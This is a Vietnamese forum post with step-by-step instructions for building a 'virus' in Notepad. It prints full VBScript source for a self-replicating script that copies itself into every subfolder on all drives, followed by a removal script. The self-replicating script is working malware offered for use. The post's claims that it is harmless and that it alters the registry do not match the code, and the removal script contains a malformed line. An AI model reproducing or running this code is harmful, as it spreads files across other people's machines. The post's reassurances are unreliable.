Cộng Đồng TeenXuanSon Online

Wellcome To Xuân Sơn - Châu Đức - BRVT

Cộng Đồng TeenXuanSon Online


 
Trang ChínhTXSGalleryTrợ giúpTìm kiếmThành viênNhómBài Trong NgàyĐăng kýĐăng Nhập

Share | 
 

 Tạo virus bằng notepad task 3

Xem chủ đề cũ hơn Xem chủ đề mới hơn Go down 
Tác giảThông điệp
Lê Trần Nam
ADMINISTRATOR
ADMINISTRATOR
avatar

Tổng số bài gửi : 481
Điểm : 504627
Danh tiếng : 226
Ngày vào diễn đàn : 02/03/2011
Tuổi của tôi là : 23
Đến từ : Sau Lò Gạch Xuân Sơn

Bài gửiTiêu đề: Tạo virus bằng notepad task 3   4/5/2011, 1:24 pm

-Không nên thử ở nhà đối với các bạn nào không rành về IT,script....
-Chương trình tự nhân bản tới tất cả các thư mục có trong máy tính
-Hoàn toàn vô hại.....chỉ nhân đôi mỗi folder thành 1 thằng *.vbs.....càng click vào nhiều folder càng thấy nhiều về hắn


tạo virus
B1: Mở Notepad
B2: Gõ đoạn code:
'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub


B3: Lưu lại với cú pháp :Thuoc Doc.vbs
B4:open file Thuoc Doc.vbs
-Hiệu quả thấy ngay

Để vô hiệu hoá virus
B1: Mở Notepad
B2: Gõ code:
'Thuoc Giai !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub


-B3:Lưu lại với cú pháp: Thuoc Giai.vbs
-B4:Chạy file Thuoc Giai.vbs để vô hiêu hóa chương trình

Nếu bạn xài anti-virus mạnh như: BKAV Pro,Kaspersky,Bit defender,AVG......thì có thể sẽ bị chặn ngay từ thao tác đầu tiên bởi chương trình tác động khá nhiều đến registry nên anti-virus có thể hiểu nhầm là virus
*khuyến cáo: không nên thử ở nhà.....thực hiện không đúng....không đọc kỹ hướng dẫn......sẽ có khả năng dẫn đến tình trạng vào folder nào cũng thấy mặt nó hết.....bực là chính....tác hại thì không có....
Về Đầu Trang Go down
Xem lý lịch thành viên http://teenxuanson.123.st
 

Tạo virus bằng notepad task 3

Xem chủ đề cũ hơn Xem chủ đề mới hơn Về Đầu Trang 
Trang 1 trong tổng số 1 trang

Permissions in this forum:Bạn không có quyền trả lời bài viết
Cộng Đồng TeenXuanSon Online :: ––––•(-• ((¯`•¸•´¯)) (…INTERNET…) ((¯`•¸•´¯)) •-)•–––– :: Hacker-